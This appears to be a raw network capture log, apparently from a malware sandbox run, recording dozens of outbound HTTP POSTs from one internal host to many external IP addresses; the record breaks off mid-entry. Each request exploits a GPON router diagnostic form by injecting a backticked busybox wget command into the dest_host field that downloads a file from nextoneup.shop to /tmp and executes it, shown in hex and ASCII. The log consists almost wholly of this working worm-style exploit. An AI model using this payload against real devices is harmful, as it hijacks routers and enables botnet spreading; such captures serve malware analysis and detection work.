XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2257	192.168.2.13	56910	42.156.150.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.370976925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2258	192.168.2.13	43104	79.61.80.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371006966 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2259	192.168.2.13	47484	202.126.102.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371031046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2260	192.168.2.13	58388	148.53.216.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371038914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2261	192.168.2.13	59948	123.70.252.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371062994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2262	192.168.2.13	50790	178.44.40.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371089935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2263	192.168.2.13	53614	178.219.71.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371104002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2264	192.168.2.13	50118	210.7.234.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371150970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2265	192.168.2.13	55842	37.12.86.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371161938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2266	192.168.2.13	48128	178.28.154.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371182919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2267	192.168.2.13	37278	212.23.87.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371184111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2268	192.168.2.13	60866	118.117.196.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371196032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2269	192.168.2.13	49804	117.144.249.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371210098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2270	192.168.2.13	37304	79.44.148.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371243954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2271	192.168.2.13	37492	79.225.109.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371273041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2272	192.168.2.13	45038	148.197.160.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371300936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2273	192.168.2.13	44316	79.66.228.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371324062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2274	192.168.2.13	40292	202.78.31.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371334076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2275	192.168.2.13	57520	178.99.169.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371387005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2276	192.168.2.13	56474	123.63.201.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371388912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2277	192.168.2.13	46392	94.81.77.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371419907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2278	192.168.2.13	41118	123.185.154.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371443987 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2279	192.168.2.13	54030	109.189.142.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371467113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2280	192.168.2.13	42592	94.187.51.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371484041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2281	192.168.2.13	38870	212.64.64.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371495962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2282	192.168.2.13	51416	148.127.15.108	443

Timestamp	Bytes transferred	Direction	Data
